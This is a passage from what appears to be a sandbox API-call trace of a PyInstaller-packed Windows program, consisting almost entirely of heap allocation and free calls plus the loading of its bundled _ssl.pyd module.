(HeapHandle=0x2ad0000, Flags=0x0, Size=0x28) returned 0x2a201c8 [0074.130] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c7bc20 [0074.130] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8af10 [0074.130] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8afd0 [0074.130] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8af10, Size=0x14) returned 0x2a71940 [0074.131] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a71940, Size=0x24) returned 0x2a20078 [0074.131] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8afd0 | out: hHeap=0x2ad0000) returned 1 [0074.131] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7bc20 | out: hHeap=0x2ad0000) returned 1 [0074.131] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a201c8 | out: hHeap=0x2ad0000) returned 1 [0074.131] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ae90 | out: hHeap=0x2ad0000) returned 1 [0074.131] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20078 | out: hHeap=0x2ad0000) returned 1 [0074.131] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3dc) returned 0x2ba5470 [0074.131] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1800) returned 0x2ac11d0 [0074.131] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c16af0 | out: hHeap=0x2ad0000) returned 1 [0074.131] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c7bc20 [0074.131] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x22c [0074.131] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1800) returned 0x2c7f2c8 [0074.131] GetLastError () returned 0x0 [0074.131] CloseHandle (hObject=0x1ec) returned 1 [0074.131] GetLastError () returned 0x0 [0074.131] GetCurrentThreadId () returned 0x9b0 [0074.131] GetLastError () returned 0x0 [0074.131] GetCurrentThreadId () returned 0x9b0 [0074.132] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba72a0 | out: hHeap=0x2ad0000) returned 1 [0074.132] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8df8 | out: hHeap=0x2ad0000) returned 1 [0074.132] GetCurrentThreadId () returned 0x9b0 [0074.132] GetCurrentThreadId () returned 0x9b0 [0074.132] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8768 [0074.132] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8768 | out: hHeap=0x2ad0000) returned 1 [0074.132] GetCurrentThreadId () returned 0x9b0 [0074.132] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x240) returned 0x2ba5858 [0074.132] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2c16af0 [0074.132] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbc900 | out: hHeap=0x2ad0000) returned 1 [0074.132] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1800) returned 0x2c92228 [0074.132] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c16af0 | out: hHeap=0x2ad0000) returned 1 [0074.132] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba5858 | out: hHeap=0x2ad0000) returned 1 [0074.132] GetCurrentThreadId () returned 0x9b0 [0074.132] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba80d8 [0074.132] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba80d8 | out: hHeap=0x2ad0000) returned 1 [0074.132] GetCurrentThreadId () returned 0x9b0 [0074.132] GetCurrentThreadId () returned 0x9b0 [0074.132] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8308 [0074.132] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8308 | out: hHeap=0x2ad0000) returned 1 [0074.132] GetCurrentThreadId () returned 0x9b0 [0074.132] GetCurrentThreadId () returned 0x9b0 [0074.132] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8998 [0074.132] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8308 [0074.132] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8f10 [0074.133] GetCurrentThreadId () returned 0x9b0 [0074.133] GetCurrentThreadId () returned 0x9b0 [0074.133] GetCurrentThreadId () returned 0x9b0 [0074.133] GetCurrentThreadId () returned 0x9b0 [0074.133] GetCurrentThreadId () returned 0x9b0 [0074.133] GetCurrentThreadId () returned 0x9b0 [0074.133] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8f10 | out: hHeap=0x2ad0000) returned 1 [0074.133] GetCurrentThreadId () returned 0x9b0 [0074.133] GetCurrentThreadId () returned 0x9b0 [0074.133] GetLastError () returned 0x0 [0074.133] GetLastError () returned 0x0 [0074.133] GetLastError () returned 0x0 [0074.133] GetLastError () returned 0x0 [0074.133] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7bc38 | out: hHeap=0x2ad0000) returned 1 [0074.133] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2a8af60 [0074.133] GetLastError () returned 0x0 [0074.133] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\_ssl.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11~1\\_ssl.pyd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b7d40, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0074.133] GetFileType (hFile=0x1ec) returned 0x1 [0074.133] GetLastError () returned 0x0 [0074.134] GetCurrentThreadId () returned 0x9b0 [0074.134] GetLastError () returned 0x0 [0074.134] GetFileType (hFile=0x1ec) returned 0x1 [0074.134] GetFileInformationByHandle (in: hFile=0x1ec, lpFileInformation=0x9b7dbc | out: lpFileInformation=0x9b7dbc) returned 1 [0074.134] FileTimeToLocalFileTime (in: lpFileTime=0x9b7dd0, lpLocalFileTime=0x9b7e00 | out: lpLocalFileTime=0x9b7e00) returned 1 [0074.134] FileTimeToSystemTime (in: lpFileTime=0x9b7e00, lpSystemTime=0x9b7df0 | out: lpSystemTime=0x9b7df0) returned 1 [0074.134] FileTimeToLocalFileTime (in: lpFileTime=0x9b7dc8, lpLocalFileTime=0x9b7e00 | out: lpLocalFileTime=0x9b7e00) returned 1 [0074.134] FileTimeToSystemTime (in: lpFileTime=0x9b7e00, lpSystemTime=0x9b7df0 | out: lpSystemTime=0x9b7df0) returned 1 [0074.134] FileTimeToLocalFileTime (in: lpFileTime=0x9b7dc0, lpLocalFileTime=0x9b7e00 | out: lpLocalFileTime=0x9b7e00) returned 1 [0074.134] FileTimeToSystemTime (in: lpFileTime=0x9b7e00, lpSystemTime=0x9b7df0 | out: lpSystemTime=0x9b7df0) returned 1 [0074.134] GetLastError () returned 0x0 [0074.134] GetCurrentThreadId () returned 0x9b0 [0074.134] GetLastError () returned 0x0 [0074.134] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af60 | out: hHeap=0x2ad0000) returned 1 [0074.134] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a7a8 | out: hHeap=0x2ad0000) returned 1 [0074.134] GetLastError () returned 0x0 [0074.134] GetFullPathNameA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\_ssl.pyd", nBufferLength=0x104, lpBuffer=0x9b7b04, lpFilePart=0x9b7afc | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\_ssl.pyd", lpFilePart=0x9b7afc*="_ssl.pyd") returned 0x34 [0074.134] ActivateActCtx (in: hActCtx=0x1050d14, lpCookie=0x9b7ae4 | out: hActCtx=0x1050d14, lpCookie=0x9b7ae4) returned 1 [0074.134] LoadLibraryExA (lpLibFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\_ssl.pyd", hFile=0x0, dwFlags=0x8) returned 0x74130000 [0074.625] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x80) returned 0x2bc5630 [0074.626] RtlSizeHeap (HeapHandle=0x2ad0000, Flags=0x0, MemoryPointer=0x2bc5630) returned 0x80 [0074.626] RtlSizeHeap (HeapHandle=0x2ad0000, Flags=0x0, MemoryPointer=0x2bc5630) returned 0x80 [0074.627] GetLastError () returned 0x0 [0074.627] GetLastError () returned 0x0 [0074.627] GetLastError () returned 0x0 [0074.627] GetLastError () returned 0x0 [0074.627] DisableThreadLibraryCalls (hLibModule=0x74130000) returned 1 [0074.627] DeactivateActCtx (dwFlags=0x0, ulCookie=0x14590006) returned 1 [0074.627] SetErrorMode (uMode=0x0) returned 0x1 [0074.627] GetLastError () returned 0x0 [0074.628] GetProcAddress (hModule=0x74130000, lpProcName="init_ssl") returned 0x74136990 [0074.628] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bba440 [0074.628] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b040 [0074.628] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c7bc38 [0074.628] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c7bc68 [0074.628] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b030 [0074.628] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af10 [0074.628] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b030, Size=0x14) returned 0x2a71940 [0074.628] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af10 | out: hHeap=0x2ad0000) returned 1 [0074.628] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7bc68 | out: hHeap=0x2ad0000) returned 1 [0074.628] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7bc38 | out: hHeap=0x2ad0000) returned 1 [0074.629] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b040 | out: hHeap=0x2ad0000) returned 1 [0074.629] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71940 | out: hHeap=0x2ad0000) returned 1 [0074.629] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbb6a0 [0074.629] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af90 [0074.629] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c7bc38 [0074.629] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c7bc68 [0074.629] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8af30 [0074.629] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8afa0 [0074.629] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8af30, Size=0x14) returned 0x2a71940 [0074.629] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8afa0 | out: hHeap=0x2ad0000) returned 1 [0074.629] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7bc68 | out: hHeap=0x2ad0000) returned 1 [0074.629] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7bc38 | out: hHeap=0x2ad0000) returned 1 [0074.629] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af90 | out: hHeap=0x2ad0000) returned 1 [0074.629] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71940 | out: hHeap=0x2ad0000) returned 1 [0074.629] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bba750 [0074.629] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xd) returned 0x2c7bc38 [0074.629] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c7bc38 | out: hHeap=0x2ad0000) returned 1 [0074.632] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x60) returned 0x2c2e528 [0074.632] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x40) returned 0x2a18dd0 [0074.632] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c7bc38 [0074.632] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c7bc68 [0074.632] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c7bcb0 [0074.632] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c7bcc8 [0074.632] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c945a8 [0074.632] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c94470 [0074.633] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c94620 [0074.633] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c944b8 [0074.633] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c944d0 [0074.633] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c94638 [0074.633] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c94668 [0074.633] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c94548 [0074.633] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c94560 [0074.633] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c943c8 [0074.633] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c94578 [0074.633] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c94608 [0074.633] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c94590 [0074.633] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c94488 [0074.633] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c945c0 [0074.633] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c94530 [0074.633] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c94410 [0074.633] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c94650 [0074.633] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c945d8 [0074.633] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c944a0 [0074.633] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c94680 [0074.634] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c945f0 [0074.634] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c94698 [0074.634] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c943e0 [0074.634] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c943f8 [0074.634] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c94428 [0074.634] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c943b0 [0074.634] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c94440 [0074.634] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c94458 [0074.634] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c944e8 [0074.634] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c94500 [0074.634] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c94518 [0074.634] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c94818 [0074.634] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c947d0 [0074.634] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c94968 [0074.634] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c94890 [0074.634] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c94830 [0074.634] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c94920 [0074.634] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c94848 [0074.634] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c948a8 [0074.634] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c94860 [0074.634] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c947e8 [0074.635] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c94770 [0074.635] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c94740 [0074.635] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c94800 [0074.635] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c94788 [0074.635] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c94878 [0074.635] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c94728 [0074.635] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c94938 [0074.635] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c946b0 [0074.635] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c947a0 [0074.635] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c94758 [0074.635] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c946c8 [0074.635] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c946e0 [0074.635] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c948c0 [0074.635] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c947b8 [0074.635] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c948d8 [0074.635] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18dd0, Size=0x80) returned 0x2bc56b8 [0074.635] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c948f0 [0074.635] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c94950 [0074.635] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c94908 [0074.635] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c94980 [0074.635] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c94998 [0074.635] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c946f8 [0074.635] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c94710 [0074.635] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c94aa0 [0074.636] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c94a28 [0074.636] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c94b48 [0074.636] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c94ab8 [0074.636] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c949f8 [0074.636] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c94bf0 [0074.636] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c94b30 [0074.636] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c94ad0 [0074.636] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c94ae8 [0074.636] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c94a88 [0074.636] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c94c80 [0074.636] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c94b78 [0074.636] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c94b00 [0074.636] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c94b18 [0074.636] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c94bd8 [0074.636] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c94b00 | out: hHeap=0x2ad0000) returned 1 [0074.636] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c94c08 [0074.636] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c949b0 [0074.637] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c94b60 [0074.637] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c94b90 [0074.637] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c94b00 [0074.637] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c94c20 [0074.637] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c949e0 [0074.637] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c94ba8 [0074.637] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c94a40 [0074.637] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c94c98 [0074.637] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c94bc0 [0074.637] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c94c38 [0074.638] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c94c50 [0074.638] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c94c68 [0074.638] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c94a10 [0074.638] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c949c8 [0074.638] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c94a58 [0074.638] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c94a70 [0074.638] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c94d28 [0074.638] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c94d88 [0074.638] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c94f50 [0074.638] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c94d40 [0074.638] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c94f80 [0074.638] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c94d58 [0074.638] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c94ef0 [0074.638] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c94f38 [0074.638] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c94ec0 [0074.638] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c94da0 [0074.638] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c94e48 [0074.638] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c94e30 [0074.638] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c94d70 [0074.639] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c94cc8 [0074.639] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c94cb0 [0074.639] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c94db8 [0074.639] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c94dd0 [0074.639] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c94ea8 [0074.639] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c94cf8 [0074.639] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c94f98 [0074.639] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c94de8 [0074.639] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c94ed8 [0074.639] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c94e00 [0074.639] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c94e18 [0074.639] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c94e60 [0074.639] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2bc56b8, Size=0x100) returned 0x2c32118 [0074.639] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c94e90 [0074.639] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c94d10 [0074.639] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c94e78 [0074.639] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c94f08 [0074.639] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c94f20 [0074.639] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c94f68 [0074.639] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c94ce0 [0074.639] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c95118 [0074.639] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c95280 [0074.639] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c95298 [0074.640] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c95250 [0074.640] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c94ff8 [0074.640] 